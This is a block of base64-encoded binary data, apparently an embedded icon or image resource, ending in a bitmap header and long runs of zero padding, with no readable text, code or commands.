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 - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - 